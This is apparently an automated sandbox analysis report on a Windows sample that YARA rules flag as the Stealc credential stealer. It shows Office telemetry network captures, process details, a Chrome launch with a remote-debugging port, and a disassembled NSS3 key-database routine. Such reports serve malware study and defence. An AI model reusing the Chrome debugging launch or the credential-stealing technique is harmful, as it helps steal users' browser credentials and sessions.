2024-10-31 10:28:24 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:24 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:24 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102824Z-16849878b78p8hrf1se7fucxk80000000a4g00000000g1w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:24 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:24 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:24 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:24 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 0ede0bb0-401e-00a3-7094-298b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102824Z-17c5cb586f6sqz6f73fsew1zd8000000030g00000000b1ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:24 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:25 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:25 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:25 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102825Z-16849878b7828dsgct3vrzta7000000007sg000000009wka x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:25 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:25 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:25 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:25 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: 0a28d98c-e01e-0085-70be-2ac311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102825Z-159b85dff8f9mtxchC1DFWf9vg00000000r0000000005vu4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:25 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:25 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:25 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:25 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: c0393789-401e-0067-527f-2a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102825Z-159b85dff8fsgrl7hC1DFWadan00000001xg000000009rqz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:25 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:25 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:25 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:25 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: d6a1c2a7-101e-0079-31ea-2a5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102825Z-16849878b78sx229w7g7at4nkg00000007p0000000006fu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 10:28:25 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 10:28:25 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 10:28:25 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 10:28:25 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T102825Z-16849878b785jrf8dn0d2rczaw0000000agg0000000095qs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 10:28:25 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Target ID:	0
Start time:	06:26:56
Start date:	31/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xd0000
File size:	2'112'000 bytes
MD5 hash:	98DB78696728C2AC1F9E2F5389D747CF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2037523332.00000000000D1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1669377238.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:27:05
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:27:05
Start date:	31/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2280 --field-trial-handle=2196,i,3722478039892456965,13615675496999425299,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 6C666E90 Relevance: 142.5, APIs: 71, Strings: 10, Instructions: 783stringmemoryCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B2120,6C667E60), ref: 6C666EBC
TlsGetValue.KERNEL32 ref: 6C666EDF
EnterCriticalSection.KERNEL32(?), ref: 6C666EF3
PR_WaitCondVar.NSS3(000000FF), ref: 6C666F25

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C666F68
PORT_ZAlloc_Util.NSS3(00000008), ref: 6C666FA9
TlsGetValue.KERNEL32 ref: 6C6670B4
EnterCriticalSection.KERNEL32(?), ref: 6C6670C8
PR_CallOnce.NSS3(6C7B24C0,6C6A7590), ref: 6C667104
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667117
SECOID_Init.NSS3 ref: 6C667128
PORT_Alloc_Util.NSS3(00000057), ref: 6C66714E
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C66717F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6671A9
PR_NotifyAllCondVar.NSS3 ref: 6C6671CF
PR_Unlock.NSS3 ref: 6C6671DD
free.MOZGLUE(?), ref: 6C6671EE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C667208
free.MOZGLUE(00000000), ref: 6C667221
free.MOZGLUE(00000001), ref: 6C667235
TlsGetValue.KERNEL32 ref: 6C66724A
EnterCriticalSection.KERNEL32(?), ref: 6C66725E
PR_NotifyCondVar.NSS3 ref: 6C667273
PR_Unlock.NSS3 ref: 6C667281
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667291
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672B1
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672D4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6672E3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667301
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667310
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667335
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667344
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667363
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C667372
PR_smprintf.NSS3(name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s",NSS Internal Module,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,6C7A0148,,defaultModDB,internalKeySlot), ref: 6C6674CC
free.MOZGLUE(00000000), ref: 6C667513
free.MOZGLUE(00000000), ref: 6C66751B
free.MOZGLUE(00000000), ref: 6C667528
free.MOZGLUE(00000000), ref: 6C66753C
free.MOZGLUE(00000000), ref: 6C667550
free.MOZGLUE(00000000), ref: 6C667561
free.MOZGLUE(00000000), ref: 6C667572
free.MOZGLUE(00000000), ref: 6C667583
free.MOZGLUE(00000000), ref: 6C667594
free.MOZGLUE(00000000), ref: 6C6675A2
SECMOD_LoadModule.NSS3(00000000,00000000,00000001), ref: 6C6675BD
free.MOZGLUE(00000000), ref: 6C6675C8
free.MOZGLUE(00000000), ref: 6C6675F1
PR_NewLock.NSS3 ref: 6C667636
SECMOD_DestroyModule.NSS3(00000000), ref: 6C667686
PR_NewLock.NSS3 ref: 6C6676A2

Part of subcall function 6C7198D0: calloc.MOZGLUE(00000001,00000084,6C640936,00000001,?,6C64102C), ref: 6C7198E5

PORT_ZAlloc_Util.NSS3(00000050), ref: 6C6676B6
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004), ref: 6C667707
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6C66771C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6C667731
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,rdb:,00000004), ref: 6C66774A
DeleteCriticalSection.KERNEL32(?), ref: 6C667770
free.MOZGLUE(?), ref: 6C667779
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C66779A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6677AC
PORT_Alloc_Util.NSS3(-0000000D), ref: 6C6677C4
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C6677DB
strrchr.VCRUNTIME140(?,0000002F), ref: 6C667821
PORT_Alloc_Util.NSS3(?), ref: 6C667837
memcpy.VCRUNTIME140(00000000,00000000,00000000), ref: 6C66785B
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C66786F
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678AC
free.MOZGLUE(00000000), ref: 6C6678BE
SECMOD_AddNewModuleEx.NSS3 ref: 6C6678F3
free.MOZGLUE(00000000), ref: 6C6678FC
free.MOZGLUE(00000000), ref: 6C66791C

Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407AD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407CD
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5D204A), ref: 6C6407D6
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5D204A), ref: 6C6407E4
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,6C5D204A), ref: 6C640864
Part of subcall function 6C6407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C640880
Part of subcall function 6C6407A0: TlsSetValue.KERNEL32(00000000,?,?,6C5D204A), ref: 6C6408CB
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408D7
Part of subcall function 6C6407A0: TlsGetValue.KERNEL32(?,?,6C5D204A), ref: 6C6408FB

Strings

,defaultModDB,internalKeySlot, xrefs: 6C66748D, 6C6674AA
kbi., xrefs: 6C667886
extern:, xrefs: 6C66772B
rdb:, xrefs: 6C667744
name="%s" parameters="configdir='%s' certPrefix='%s' keyPrefix='%s' secmod='%s' flags=%s updatedir='%s' updateCertPrefix='%s' updateKeyPrefix='%s' updateid='%s' updateTokenDescription='%s' %s" NSS="flags=internal,moduleDB,moduleDBOnly,critical%s", xrefs: 6C6674C7
Spac, xrefs: 6C667389
dbm:, xrefs: 6C667716
dll, xrefs: 6C66788E
sql:, xrefs: 6C6676FE
NSS Internal Module, xrefs: 6C6674A2, 6C6674C6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
